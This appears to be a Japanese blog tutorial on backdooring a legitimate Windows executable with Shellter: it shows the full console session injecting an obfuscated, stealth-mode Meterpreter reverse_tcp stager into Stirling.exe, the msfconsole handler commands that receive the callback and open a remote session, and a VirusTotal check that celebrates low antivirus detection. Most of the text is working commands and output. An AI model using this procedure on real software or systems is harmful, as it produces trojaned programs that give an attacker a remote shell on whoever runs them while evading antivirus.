Shellterによるシェルコードのバインド
Shellterダウンロード
以下のサイトからshellter.exe
が含まれたzipをダウンロードする。
https://www.shellterproject.com/download/
シェルコードをバインドする
バインドさせたい適当なexeファイルを用意したら、shellter.exeで対象のexeにバインドさせる。
今回は Kali Linux
を使っているので、wineを使ってshellter.exeを実行する。
root@bad:~/Downloads/shellter# wine shellter.exe 1010101 01 10 0100110 10 01 11001001 0011101 001001 11 10 01 00 01 01 01 10 11 10 0010011 1110001 11011 11 10 00 10011 011001 11 00 10 01 11 01 11 01 01 11 0010010 11 00 0011010 100111 000111 00 1100011 01 10 v7.1 www.ShellterProject.com Wine Mode Choose Operation Mode - Auto/Manual (A/M/H): A PE Target: /root/Downloads/Stirling.exe ********** * Backup * ********** Backup: Shellter_Backups\Stirling.exe ******************************** * PE Compatibility Information * ******************************** Minimum Supported Windows OS: 4.0 Note: It refers to the minimum required Windows version for the target application to run. This information is taken directly from the PE header and might be not always accurate. ****************** * Packed PE Info * ****************** Status: Possibly Not Packed - The EntryPoint is located in the first section! *********************** * PE Info Elimination * *********************** Data: Dll Characteristics (Dynamic ImageBase etc...), Digital Signature. Status: All related information has been eliminated! **************** * Tracing Mode * **************** Status: Tracing has started! Press CTRL+C to interrupt tracing at any time. Note: In Auto Mode, Shellter will trace a random number of instructions for a maximum time of approximately 30 seconds in native Windows hosts and for 60 seconds when used in Wine. DisASM.dll was created successfully! Instructions Traced: 15694 Tracing Time Approx: 1.02 mins. Starting First Stage Filtering... ************************* * First Stage Filtering * ************************* Filtering Time Approx: 0.0006 mins. Enable Stealth Mode? (Y/N/H): Y ************ * Payloads * ************ [1] Meterpreter_Reverse_TCP [stager] [2] Meterpreter_Reverse_HTTP [stager] [3] Meterpreter_Reverse_HTTPS [stager] [4] Meterpreter_Bind_TCP [stager] [5] Shell_Reverse_TCP [stager] [6] Shell_Bind_TCP [stager] [7] WinExec Use a listed payload or custom? (L/C/H): L Select payload by index: 1 *************************** * meterpreter_reverse_tcp * *************************** SET LHOST: 192.168.11.8 SET LPORT: 8888 **************** * Payload Info * **************** Payload: meterpreter_reverse_tcp Size: 281 bytes Reflective Loader: NO Encoded-Payload Handling: Enabled Handler Type: IAT ****************** * Encoding Stage * ****************** Encoding Payload: Done! **************************** * Assembling Decoder Stage * **************************** Assembling Decoder: Done! *********************************** * Binding Decoder & Payload Stage * *********************************** Status: Obfuscating the Decoder using Thread Context Aware Polymorphic code, and binding it with the payload. Please wait... Binding: Done! ********************* * IAT Handler Stage * ********************* Fetching IAT Pointers to Memory Manipulation APIs... 0. VirtualAlloc --> IAT[49c1dc] 1. VirtualAllocEx --> N/A 2. VirtualProtect --> N/A 3. VirtualProtectEx --> N/A 4. HeapCreate/HeapAlloc --> IAT[49c1d0]/IAT[49c264] 5. LoadLibrary/GetProcAddress --> IAT[49c364]/IAT[49c37c] 6. GetModuleHandle/GetProcAddress --> IAT[49c378]/IAT[49c37c] 7. CreateFileMapping/MapViewOfFile --> IAT[49c3b0]/IAT[49c3b4] Using Method --> 6 *************************** * IAT Handler Obfuscation * *************************** Status: Binding the IAT Handler with Thread Context Aware Polymorphic code. Please wait... Code Generation Time Approx: 0.036 seconds. ************************* * PolyMorphic Junk Code * ************************* Type: Engine Generating: ~486 bytes of PolyMorphic Junk Code Please wait... Generated: 488 bytes Code Generation Time Approx: 0.032 seconds. Starting Second Stage Filtering... ************************** * Second Stage Filtering * ************************** Filtering Time Approx: 0.0006 mins. ******************* * Injection Stage * ******************* Virtual Address: 0x46b0ed File Offset: 0x6b0ed Section: .text Adjusting stub pointers to IAT... Done! Adjusting Call Instructions Relative Pointers... Done! Injection Completed! ******************* * PE Checksum Fix * ******************* Status: Valid PE Checksum has been set! Original Checksum: 0x0 Computed Checksum: 0xd7e2d ********************** * Verification Stage * ********************** Info: Shellter will verify that the first instruction of the injected code will be reached successfully. If polymorphic code has been added, then the first instruction refers to that and not to the effective payload. Max waiting time: 10 seconds. Warning! If the PE target spawns a child process of itself before reaching the injection point, then the injected code will be executed in that process. In that case Shellter won't have any control over it during this test. You know what you are doing, right? ;o) Injection: Verified! Press [Enter] to continue...
接続を待ち受ける
シェルコード入りのexeを実行する前に、msfconsoleを使ってreverse_tcp
での接続を受け付けるようにしとく。
準備ができてからexeを実行すると、exeを実行したマシンのシェルが叩けるようになる。
Meterpreter session 1 closed error
最初に使っていたmsfconsoleのバージョンv4.14.28では、Meterpreter session 1 closed
というエラーが発生してreverse_tcp
での接続が受け付けられなかった。以下のページを参考にバージョンアップしたら直ったのでメモ。
$ msfconsole Found a database at /Users/msf/.msf4/db, checking to see if it is started Starting database at /Users/msf/.msf4/db...success .:okOOOkdc' 'cdkOOOko:. .xOOOOOOOOOOOOc cOOOOOOOOOOOOx. :OOOOOOOOOOOOOOOk, ,kOOOOOOOOOOOOOOO: 'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO' oOOOOOOOO.MMMM.oOOOOoOOOOl.MMMM,OOOOOOOOo dOOOOOOOO.MMMMMM.cOOOOOc.MMMMMM,OOOOOOOOx lOOOOOOOO.MMMMMMMMM;d;MMMMMMMMM,OOOOOOOOl .OOOOOOOO.MMM.;MMMMMMMMMMM;MMMM,OOOOOOOO. cOOOOOOO.MMM.OOc.MMMMM'oOO.MMM,OOOOOOOc oOOOOOO.MMM.OOOO.MMM:OOOO.MMM,OOOOOOo lOOOOO.MMM.OOOO.MMM:OOOO.MMM,OOOOOl ;OOOO'MMM.OOOO.MMM:OOOO.MMM;OOOO; .dOOo'WM.OOOOocccxOOOO.MX'xOOd. ,kOl'M.OOOOOOOOOOOOO.M'dOk, :kk;.OOOOOOOOOOOOO.;Ok: ;kOOOOOOOOOOOOOOOk: ,xOOOOOOOOOOOx, .lOOOOOOOl. ,dOd, . =[ metasploit v4.16.64-dev-38e1a059284c093e9bba5b59bfa43938c61b86b4] + -- --=[ 1780 exploits - 1016 auxiliary - 308 post ] + -- --=[ 538 payloads - 41 encoders - 10 nops ] + -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ] msf > use exploit/multi/handler msf exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(multi/handler) > set LPORT 8888 LPORT => 8888 msf exploit(multi/handler) > set LHOST 192.168.11.8 LHOST => 192.168.11.8 msf exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.11.8:8888 [*] Sending stage (179779 bytes) to 192.168.11.2 [*] Meterpreter session 1 opened (192.168.11.8:8888 -> 192.168.11.2:50463) at 2018-06-29 00:57:30 +0900 meterpreter >
virustotalで検出具合を確認してみた
VirusTotalは、ユーザーがファイルやURLをアップロードすると、主要なセキュリティベンダーの定義ファイルを使って悪質なものであるかを調べられる。利用は無料だが、有償サービスの「VirusTotal Intelligence」ではアップロードされたファイルの情報を入手できるため、セキュリティベンダーなどがマルウェア動向などを研究する目的で、この有償サービスを利用している。
今回作成したシェルコード入りexeは、どのくらいのウイルス対策ソフトで検出されるのか確認すべくvirustotal
でscanしてみたら16 / 64
の定義ファイルでウイルスとして検出された。
putty.exeはウイルスとして検出できたSymantecさんも、Strings.exeはウイルスとして検出できなかった模倣。意外と検出率が悪いのだなと思った。詳細は以下のページで確認可能。